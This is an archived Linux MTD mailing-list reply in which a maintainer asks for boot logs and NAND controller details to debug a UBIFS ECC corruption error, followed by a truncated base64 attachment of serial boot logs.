.kernel.org; linux-cris-kernel@axis.com; linux-parisc@vger.kernel.org; netd=
ev@vger.kernel.org; linux-mmc@vger.kernel.org; linux-kernel@vger.kernel.org=
; linux-spi@vger.kernel.org; mmarek@suse.com; netfilter-devel@vger.kernel.o=
rg; linux-alpha@vger.kernel.org; nios2-dev@lists.rocketboards.org; linuxppc=
-dev@lists.ozlabs.org; davem@davemloft.net
Subject: Re: ubi_io_read: error -74 (ECC error)

Hi Raghavan,

On Fri, 6 Jan 2017 10:07:29 +0000
"Anurag Raghavan (RBEI/ETW11)" <Raghavan.Anurag@in.bosch.com> wrote:

> Hi All,
>=20
> My appdata partition could not be mounted or where the partition was not =
able to be used. Anyone can help me to find out the root cause of this. Wha=
t are the possibilities of this ubifs corruption. Any patched are available=
 to fix this issue.

Can you please stop sending over and over the same message in the hope that=
 someone will magically solve the problem for you. Pinging maintainers is a=
ccepted but not 3 times in 2 days.

>=20
> I am using the kernel version-30.3.5

It's not even a valid kernel version (probably a kerne, and we'll need a lo=
t more than the 10 lines of log you provided to help you debug your driver,=
 like the boot logs, a reference to the kernel sources you're using, after =
how much time this problem occurred...

> Any kernel patches are available to solve this issue...??

What's your NAND controller? It seems related to a NAND driver issue.

Regards,

Boris

>=20
> Error logs:
>=20
> [    1.797141] UBI error: ubi_io_read: error -74 (ECC error) while readin=
g 253952 bytes from PEB 445:8192, read 253952 bytes
> [    1.808274] UBIFS error (pid 491): ubifs_scan: corrupt empty space at =
LEB 489:233760
> [    1.816037] UBIFS error (pid 491): ubifs_scanned_corruption: corruptio=
n at LEB 489:233760
> [    1.828660] UBIFS error (pid 491): ubifs_scan: LEB 489 scanning failed
> [    1.835215] UBIFS warning (pid 491): ubifs_ro_mode: switched to read-o=
nly mode, error -117
> [    1.843502] UBIFS error (pid 491): make_reservation: cannot reserve 58=
 bytes in jhead 2, error -117
> [    1.852569] UBIFS error (pid 491): do_writepage: cannot write page 0 o=
f inode 76584, error -117
> dpkg: error: unable to sync new file '/var/lib/dpkg/arch-new':=20
> Structure needs cleaning
>=20
> Best regards
>=20
> Raghavan Anurag
> RBEI/ETW1
>=20
> Tel. +91(422)667-4001 | Mobil 9986968950
>=20
> ______________________________________________________
> Linux MTD discussion mailing list
> http://lists.infradead.org/mailman/listinfo/linux-mtd/


______________________________________________________
Linux MTD discussion mailing list
http://lists.infradead.org/mailman/listinfo/linux-mtd/

--_002_92e442e55f2b4826a12bd4b74c6fb3caSGPMBX1023APACboschcom_
Content-Type: text/plain; name="serial_logs.txt"
Content-Description: serial_logs.txt
Content-Disposition: attachment; filename="serial_logs.txt"; size=140079;
	creation-date="Fri, 06 Jan 2017 11:44:31 GMT";
	modification-date="Mon, 21 Nov 2016 12:00:32 GMT"
Content-Transfer-Encoding: base64

SmFuICAxIDAwWyAgICA1LjE1MzgwN10gVUJJOiBudW1iZXIgb2YgdXNlciB2b2x1bWVzOiAgICAg
MQ0KOjAwOjA0IEJVSTI3MCB1c2VyLm5vdGljZSBrZXJuZWw6WyAgICA1LjE2MTA0Ml0gVUJJOiBh
dmFpbGFibGUgUEVCczogICAgIDANCiBbICAgIDUuMTA5MjQwXSBVQkk6IG51bWJlciBvZiBnb1sg
ICAgNS4xNjgyMzNdIFVCSTogdG90YWwgbnVtYmVyIG9mIHJlc2VydmVkIFBFQnM6IDMzNDQNCm9k
IFBFQnM6ICAgICAgICAzMzQ0DQpKYW4gIDEgMDA6MFsgICAgNS4xNzYyMzhdIFVCSTogbnVtYmVy
IG9mIFBFQnMgcmVzZXJ2ZWQgZm9yIGJhZCBQRUIgaGFuZGxpbmc6IDMzDQowOjA0IEJVSTI3MCB1
c2VyLm5vdGljZSBrZXJuZWw6IFtbICAgIDUuMTg1MTIzXSBVQkk6IG1heC9tZWFuIGVyYXNlIGNv
dW50ZXI6IDE3OC8xMTINCiAgICA1LjExNjY4MV0gVUJJOiBudW1iZXIgb2YgYmFkIFsgICAgNS4x
OTI1OTZdIFVCSTogaW1hZ2Ugc2VxdWVuY2UgbnVtYmVyOiAgMTA4NDI0NzIwMQ0KUEVCczogICAg
ICAgICA0DQpKYW4gIDEgMDA6MDA6MDQgWyAgICA1LjIwMDMzOV0gVUJJOiBiYWNrZ3JvdW5kIHRo
cmVhZCAidWJpX2JndDFkIiBzdGFydGVkLCBQSUQgODYxDQpCVUkyNzAgdXNlci5ub3RpY2Uga2Vy
bmVsOiBbICAgIDUuMTI0MTY5XSBVQkk6IG51bWJlciBvZiBjb3JydXB0ZWQgUEVCczogICAwDQpK
YW4gIDEgMDA6MDA6MDQgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDogWyAgICA1LjEzMTM5N10g
VUJJOiBtYXguIGFsbG93ZWQgdm9sdW1lczogICAgICAgMTI4DQpKYW4gIDEgMDA6MDA6MDQgQlVJ
MjcwIHVzZXIubm90aWNlIGtlcm5lbDogWyAgICA1LjEzODg3M10gVUJJOiB3ZWFyLWxldmVsaW5n
IHRocmVzaG9sZDogICAgNDA5Ng0KSmFuICAxIDAwOjAwOjA0IEJVSTI3MCB1c2VyLm5vdGljZSBr
ZXJuZWw6IFsgICAgNS4xNDYzMjVdIFVCSTogbnVtYmVyIG9mIGludGVybmFsIFsgICAgNS4yMzc5
OTddIFVCSUZTOiByZWNvdmVyeSBuZWVkZWQNCnZvbHVtZXM6IDENCkphbiAgMSAwMDowMDowNCBC
VUkyNzAgdXNlci5ub3RpY2Uga2VybmVsOiBbICAgIDUuMTUzODA3XSBVQkk6IG51bWJlciBvZiB1
c2VyIHZvbHVtZXM6ICAgICAxDQpKYW4gIDEgMDA6MDA6MDQgQlVJMjcwIHVzZXIubm90aWNlIGtl
cm5lbDogWyAgICA1LjE2MTA0Ml0gVUJJOiBhdmFpbGFibGUgUEVCczogICAgICAwDQpKYW4gIDEg
MDA6MDA6MDQgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDogWyAgICA1LjE2ODIzM10gVUJJOiB0
b3RhbCBudW1iZXIgb2YgcmVzZXJ2ZWQgUEVCczogMzM0NA0KSmFuICAxIDAwOjAwOjA0IEJVSTI3
MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsgICAgNS4xNzYyMzhdIFVCSTogbnVtYmVyIG9mIFBFQnMg
cmVzZXJ2ZWQgZm9yIGJhZCBQRUIgaGFuZGxpbmc6IDMzDQpKYW4gIDEgMDA6MDA6MDQgQlVJMjcw
IHVzZXIubm90aWNlIGtlcm5lbDogWyAgICA1LjE4NTEyM10gVUJJOiBtYXgvbWVhbiBlcmFzZSBj
b3VudGVyOiAxNzgvMTEyDQpKYW4gIDEgMDA6MDA6MDQgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5l
bDogWyAgICA1LjE5MjU5Nl0gVUJJOiBpbWFnZSBzZXF1ZW5jZSBudW1iZXI6ICAxMDg0MjQ3MjAx
DQpKYW4gIDEgMDA6MDA6MDQgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDogWyAgICA1LjIwMDMz
OV0gVUJJOiBiYWNrZ3JvdW5kIHRocmVhZCAgICJ1YmlfYmd0MWQiIHN0YXJ0ZWQsIFBJRCA4NjEN
CkphbiAgMSAwMDowMDowNCBCVUkyNzAgdXNlci5ub3RpY2Uga2VybmVsOiBbICAgIDUuMjM3OTk3
XSBVQklGUzogcmVjb3ZlcnkgbmVlZGVkDQpbICAgIDUuMzIwNDIzXSBVQklGUzogcmVjb3Zlcnkg
Y29tcGxldGVkDQpbICAgIDUuMzI0MDk0XSBVQklGUzogbW91bnRlZCBVQkkgZGV2aWNlIDEsIHZv
bHVtZSAwLCBuYW1lICJhcHBkYXRhIg0KSmFuICAxIDAwOjAwOjA1IEJVSTI3MCB1c2VyLm5vdGlj
WyAgICA1LjMzMDU4OF0gVUJJRlM6IGZpbGUgc3lzdGVtIHNpemU6ICAgODM2NTE3ODg4IGJ5dGVz
ICg4MTY5MTIgS2lCLCA3OTcgTWlCLCAzMjk0IExFQnMpDQplIGtlcm5lbDogWyAgICA1LjMyMDQy
M10gVUJJRlM6IHJbICAgIDUuMzQxNzU5XSBVQklGUzogam91cm5hbCBzaXplOiAgICAgICAzMzUy
MTY2NCBieXRlcyAoMzI3MzYgS2lCLCAzMSBNaUIsIDEzMiBMRUJzKQ0KZWNvdmVyeSBjb21wbGV0
ZWQNCkphbiAgMSAwMDowMDowWyAgICA1LjM1MTk1Ml0gVUJJRlM6IG1lZGlhIGZvcm1hdDogICAg
ICAgdzQvcjAgKGxhdGVzdCBpcyB3NC9yMCkNCjUgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDog
WyAgIFsgICAgNS4zNjA2MjhdIFVCSUZTOiBkZWZhdWx0IGNvbXByZXNzb3I6IGx6bw0KIDUuMzI0
MDk0XSBVQklGUzogbW91bnRlZCBVQkkgZGV2WyAgICA1LjM2NzQ2OF0gVUJJRlM6IHJlc2VydmVk
IGZvciByb290OiAgNDk1MjY4MyBieXRlcyAoNDgzNiBLaUIpDQppY2UgMSwgdm9sdW1lIDAsIG5h
bWUgImFwcGRhdGEiDQpKYW4gIDEgMDA6MDA6MDUgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDog
WyAgICA1LjMzMDU4OF0gVUJJRlM6IGZpbGUgc3lzdGVtIHNpemU6ICAgODM2NTE3ODg4IGJ5dGVz
ICg4MTY5MTIgS2lCLCA3OTcgTWlCLCAzMjk0IExFQnMpDQpKYW4gIDEgMDA6MDA6MDUgQlVJMjcw
IHVzZXIubm90aWNlIGtlcm5lbDogWyAgICA1LjM0MTc1OV0gVUJJRlM6IGpvdXJuYWwgc2l6ZTog
ICAgICAgMzM1MjE2NjQgYnl0ZXMgKDMyNzM2IEtpQiwgMzEgTWlCLCAxMzIgTEVCcykNCkphbiAg
MSAwMDowMDowNSBCVUkyNzAgdXNlci5ub3RpY2Uga2VybmVsOiBbICAgIDUuMzUxOTUyXSBVQklG
UzogbWVkaWEgZm9ybWF0OiAgICAgICB3NC9yMCAobGF0ZXN0IGlzIHc0L3IwKQ0KSmFuICAxIDAw
OjAwOjA1IEJVSTI3MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsgICAgNS4zNjA2MjhdIFVCSUZTOiBk
ZWZhdWx0IGNvbXByZXNzb3I6IGx6bw0KSmFuICAxIDAwOjAwOjA1IEJVSTI3MCB1c2VyLm5vdGlj
ZSBrZXJuZWw6IFsgICAgNS4zNjc0NjhdIFVCSUZTOiByZXNlcnZlZCBmb3Igcm9vdDogIDQ5NTI2
ODMgYnl0ZXMgKDQ4MzYgS2lCKQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMS1zeXN0
ZW0tc2V0dGluZ3MuMjguZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5h
bWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjI3Lmd6JzogUmVhZC1vbmx5IGZpbGUg
c3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy4y
Ni5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cv
L1MxMS1zeXN0ZW0tc2V0dGluZ3MuMjUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBj
YW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjI0Lmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzExLXN5c3RlbS1z
ZXR0aW5ncy4yMy5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAn
L3Zhci9sb2cvL1MxMS1zeXN0ZW0tc2V0dGluZ3MuMjIuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjIxLmd6
JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEx
LXN5c3RlbS1zZXR0aW5ncy4yMC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0
IHJlbmFtZSAnL3Zhci9sb2cvL1MxMS1zeXN0ZW0tc2V0dGluZ3MuMTkuZ3onOiBSZWFkLW9ubHkg
ZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRp
bmdzLjE4Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy4xNy5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0K
bXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMS1zeXN0ZW0tc2V0dGluZ3MuMTYuZ3onOiBS
ZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lz
dGVtLXNldHRpbmdzLjE1Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy4xNC5neic6IFJlYWQtb25seSBmaWxl
IHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMS1zeXN0ZW0tc2V0dGluZ3Mu
MTMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9n
Ly9TMTEtc3lzdGVtLXNldHRpbmdzLjEyLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy4xMS5neic6IFJlYWQt
b25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMS1zeXN0ZW0t
c2V0dGluZ3MuMTAuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUg
Jy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjkuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjguZ3on
OiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEt
c3lzdGVtLXNldHRpbmdzLjcuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCBy
ZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjYuZ3onOiBSZWFkLW9ubHkgZmls
ZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdz
LjUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9n
Ly9TMTEtc3lzdGVtLXNldHRpbmdzLjQuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBj
YW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjMuZ3onOiBSZWFkLW9u
bHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNl
dHRpbmdzLjIuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92
YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjEuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0N
Cm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTEtc3lzdGVtLXNldHRpbmdzLjAuZ3onOiBS
ZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCmd6aXA6IGNhbid0IG9wZW4gJy92YXIvbG9nLy9TMTEtc3lz
dGVtLXNldHRpbmdzLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1l
ICcvdmFyL2xvZy8vUzExLXN5c3RlbS1zZXR0aW5ncy5neic6IE5vIHN1Y2ggZmlsZSBvciBkaXJl
Y3RvcnkNCi9ldGMvaW5pdC5kL3JjNS5kL1MxMS1zeXN0ZW0tc2V0dGluZ3M6IGxpbmUgNDogY2Fu
J3QgY3JlYXRlIC92YXIvbG9nLy9TMTEtc3lzdGVtICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAtc2V0dGluZ3M6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6
IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMi1zd2FwLjI4Lmd6JzogUmVhZC1vbmx5IGZpbGUg
c3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEyLXN3YXAuMjcuZ3onOiBSZWFk
LW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTItc3dhcC4y
Ni5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cv
L1MxMi1zd2FwLjI1Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1l
ICcvdmFyL2xvZy8vUzEyLXN3YXAuMjQuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBj
YW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTItc3dhcC4yMy5neic6IFJlYWQtb25seSBmaWxlIHN5
c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMi1zd2FwLjIyLmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEyLXN3YXAuMjEu
Z3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9T
MTItc3dhcC4yMC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAn
L3Zhci9sb2cvL1MxMi1zd2FwLjE5Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2Fu
J3QgcmVuYW1lICcvdmFyL2xvZy8vUzEyLXN3YXAuMTguZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTItc3dhcC4xNy5neic6IFJlYWQtb25s
eSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMi1zd2FwLjE2Lmd6
JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEy
LXN3YXAuMTUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92
YXIvbG9nLy9TMTItc3dhcC4xNC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0
IHJlbmFtZSAnL3Zhci9sb2cvL1MxMi1zd2FwLjEzLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVt
DQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEyLXN3YXAuMTIuWyAgICA1Ljc0NjQ3Ml0g
VUJJOiBhdHRhY2hpbmcgbXRkMiB0byB1YiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgaTINCmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY1sgICAg
NS43NTI4MjZdIFVCSTogcGh5c2ljYWwgZXJhc2VibG9jayBzaXplOiAgIDI2MjE0NCBieXRlcyAo
MjU2IEtpQikNCmFuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEyLXN3YXAuMVsgICAgNS43NjE2NzJd
IFVCSTogbG9naWNhbCBlcmFzZWJsb2NrIHNpemU6ICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgMjUzOTUyIGJ5dGVzDQoxLmd6JzogUmVhZC1vbmx5IGZp
bGUgc3lzdGVtDQptdjpbICAgIDUuNzY5ODk2XSBVQkk6IHNtYWxsZXN0IGZsYXNoIEkvTyB1bml0
OiAgICA0MDk2DQogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEyLXN3YXBbICAgIDUuNzc3MzM3
XSBVQkk6IFZJRCBoZWFkZXIgb2Zmc2V0OiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIDQwOTYgKGFsaWduZWQgNDA5NikNCi4xMC5neic6IFJl
YWQtb25seSBmaWxlIHN5c3RlbQ0KbVsgICAgNS43ODYzODldIFVCSTogZGF0YSBvZmZzZXQ6ICAg
ICAgICAgICAgICAgIDgxOTINCnY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMi1zd2FwLjku
Z3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9T
MTItc3dhcC44Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdFsgICAgNS44MDM1ODFdIFVCICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJOiBtYXguIHNlcXVlbmNl
IG51bWJlcjogICAgICAgMTAxNg0KZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTIt
c3dhcC43Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lbICAgIDUuODEzMzUxXSBVQkk6ICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXR0YWNoZWQgbXRkMiB0byB1
YmkyDQpzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy9bICAgIDUuODE5MjQxXSBVQkk6
IE1URCBkZXZpY2UgbmFtZTogICAgICAgICAgICAidmVycyAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgaW9uIg0KL1MxMi1zd2FwLjYuZ3onOiBSZWFkLW9ubHkg
ZmlsZSBzWyAgICA1LjgyNzA0N10gVUJJOiBNVEQgZGV2aWNlIHNpemU6ICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA2IE1pQg0KeXN0ZW0N
Cm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nWyAgICA1LjgzNDkxMV0gVUJJOiBudW1iZXIgb2Yg
Z29vZCBQRUJzOiAgICAgICAgMjQNCi8vUzEyLXN3YXAuNS5neic6IFJlYWQtb25seSBmaWxlIFsg
ICAgNS44NDIyMDddIFVCSTogbnVtYmVyIG9mIGJhZCBQRUJzOiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMA0Kc3lzdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvWyAgICA1Ljg0OTUwOV0gVUJJOiBudW1iZXIgb2YgY29ycnVwdGVkIFBF
QnM6ICAgMA0KZy8vUzEyLXN3YXAuNC5neic6IFJlYWQtb25seSBmaWxlWyAgICA1Ljg1NjY5Ml0g
VUJJOiBtYXguIGFsbG93ZWQgdm9sdW1lczogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAxMjgNCiBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92
YXIvbFsgICAgNS44NjQzNTBdIFVCSTogd2Vhci1sZXZlbGluZyB0aHJlc2hvbGQ6ICAgIDQwOTYN
Cm9nLy9TMTItc3dhcC4zLmd6JzogUmVhZC1vbmx5IGZpbFsgICAgNS44NzE4NDldIFVCSTogbnVt
YmVyIG9mIGludGVybmFsIHZvbHVtZXM6ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgMQ0KZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvWyAgICA1
Ljg3OTE1MV0gVUJJOiBudW1iZXIgb2YgdXNlciB2b2x1bWVzOiAgICAgMQ0KbG9nLy9TMTItc3dh
cC4yLmd6JzogUmVhZC1vbmx5IGZpWyAgICA1Ljg4NjMzN10gVUJJOiBhdmFpbGFibGUgUEVCczog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAwDQpsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXJbICAgIDUuODkzODE4XSBVQkk6
IHRvdGFsIG51bWJlciBvZiByZXNlcnZlZCBQRUJzOiAyNA0KL2xvZy8vUzEyLXN3YXAuMS5neic6
IFJlYWQtb25seSBmWyAgICA1LjkwMTQwNl0gVUJJOiBudW1iZXIgb2YgUEVCcyByZXNlcnZlZCBm
b3IgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWQgUEVC
IGhhbmRsaW5nOiAyDQppbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFbICAgIDUuOTEw
MjcyXSBVQkk6IG1heC9tZWFuIGVyYXNlIGNvdW50ZXI6IDU0LzQxDQpyL2xvZy8vUzEyLXN3YXAu
MC5neic6IFJlYWQtb25seSBbICAgIDUuOTE3NDU4XSBVQkk6IGltYWdlIHNlcXVlbmNlIG51bWJl
cjogIDEyNyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNjUw
MjkzDQpmaWxlIHN5c3RlbQ0KZ3ppcDogY2FuJ3Qgb3BlbiAnL3ZbICAgIDUuOTI1MjkyXSBVQkk6
IGJhY2tncm91bmQgdGhyZWFkICJ1YmlfYmd0MmQiIHN0YXJ0ZWQsIFAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElEIDk4Mw0KYXIvbG9nLy9TMTItc3dhcC5n
eic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1Mx
Mi1zd2FwLmd6JzogTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeQ0KL2V0Yy9pbml0LmQvcmM1LmQv
UzEyLXN3YXA6IGxpbmUgNDogY2FuJ3QgY3JlYXRlIC92YXIvbG9nLy9TMTItc3dhcDogUmVhZC1v
bmx5IGYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlsZSBz
eXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTMtcGFydGl0aW9uLXZlcnNpb24u
MjguZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9n
Ly9TMTMtcGFydGl0aW9uLXZlcnNpb24uMjcuZ3onOiBSZWFkLW9ubFsgICAgNS45NjM0NDRdICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVUJJRlM6IHJlY292
ZXJ5IG5lZWRlZA0KeSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1Mx
My1wYXJ0aXRpb24tdmVyc2lvbi4yNi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNh
bid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMy1wYXJ0aXRpb24tdmVyc2lvbi4yNS5neic6IFJlYWQt
b25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMy1wYXJ0aXRp
b24tdmVyc2lvbi4yNC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFt
ZSAnL3Zhci9sb2cvL1MxMy1wYXJ0aXRpb24tdmVyc2lvbi4yMy5neic6IFJlYWQtb25seSBmaWxl
IHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMy1wYXJ0aXRpb24tdmVyc2lv
bi4yMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9s
b2cvL1MxMy1wYXJ0aXRpb24tdmVyc2lvbi4yMS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0K
bXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMy1wYXJ0aXRpb24tdmVyc2lvbi4yMC5neic6
